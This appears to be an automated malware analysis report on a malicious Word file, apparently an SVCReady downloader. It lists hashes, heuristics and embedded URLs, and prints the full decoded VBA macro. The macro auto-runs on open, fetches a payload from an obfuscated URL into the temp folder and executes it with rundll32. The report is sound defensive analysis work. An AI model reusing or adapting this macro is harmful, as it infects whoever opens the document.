Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fdb3b0992f153942…

MALICIOUS

Office (OOXML)

111.7 KB Created: 2020-07-24 08:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-24
MD5: 95b7673b212bd612cb12726c6356768e SHA-1: f1bcc4a15fff5d17e0492ebca808ecc2e377f922 SHA-256: fdb3b0992f153942f1c48bfcc29836a49213955d52bc5b179e9528017c93bc28
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that executes a second-stage payload. The script downloads content from an embedded URL (though the URL itself is obfuscated and not directly extractable) and saves it to a temporary file. It then uses 'rundll32.exe' to execute the downloaded file, likely a malicious executable. The presence of the 'Environ("tmp")' call and the use of 'rundll32.exe' strongly suggest a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Framework\rels\builds\pack1\us.jpg
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1752 bytes
SHA-256: 842966edfe1b6683357f9a93833165b5bd8e42afb4e953f97f98941f18603b00
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bba6909a"
Sub AutoOpen()
Dim b76e3f1c As New a80e55a1
aaa = efc90f6b(ca7d6bfd)
b816b590 = b76e3f1c.bc47ae43(aaa, "")
f0700ee7 be55a8d6, b816b590
Dim aa1d239f As New WshShell
Call aa1d239f.exec(efc90f6b("r5de01ga7s09v09") & "r32 " & be55a8d6)
End Sub

Attribute VB_Name = "e8a2fdcc"
Sub f0700ee7(ae56e039, d80f0823)
Dim b54c430c
b54c430c = FreeFile
Open ae56e039 For Output As #b54c430c
Print #b54c430c, b6b4ceb5(d80f0823)
Close #b54c430c
End Sub
Function be55a8d6()
be55a8d6 = Environ("tmp") & "\111.jpg"
End Function
Function efc90f6b(bd1739c6)
For afd5edc0 = 1 To Len(bd1739c6) Step 3
b6b6771a = b6b6771a & Mid(bd1739c6, afd5edc0, 1)
Next
efc90f6b = b6b6771a
End Function
Sub ae3274a7()
End Sub
Function b6b4ceb5(d80f0823)
b6b4ceb5 = StrConv(d80f0823, 64)
End Function
Function ca7d6bfd()
ca7d6bfd = ActiveDocument.Shapes(1).AlternativeText
End Function

Attribute VB_Name = "a80e55a1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function bc47ae43(c6e1d71b, d2854d5e)
Dim f3cbf40f As Object
Set f3cbf40f = New MSXML2.XMLHTTP60
Call f3cbf40f.Open("GET", c6e1d71b, False)
f3cbf40f.Send
bc47ae43 = f3cbf40f.responsebody
End Function
Function eeeb470c(af63a747)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: d9393d06eafb8a7e55a678797d5312187b4a8f518a2159b8cd043547bb6e6d2b

Open this report in the interactive analyzer, or submit your own file for analysis.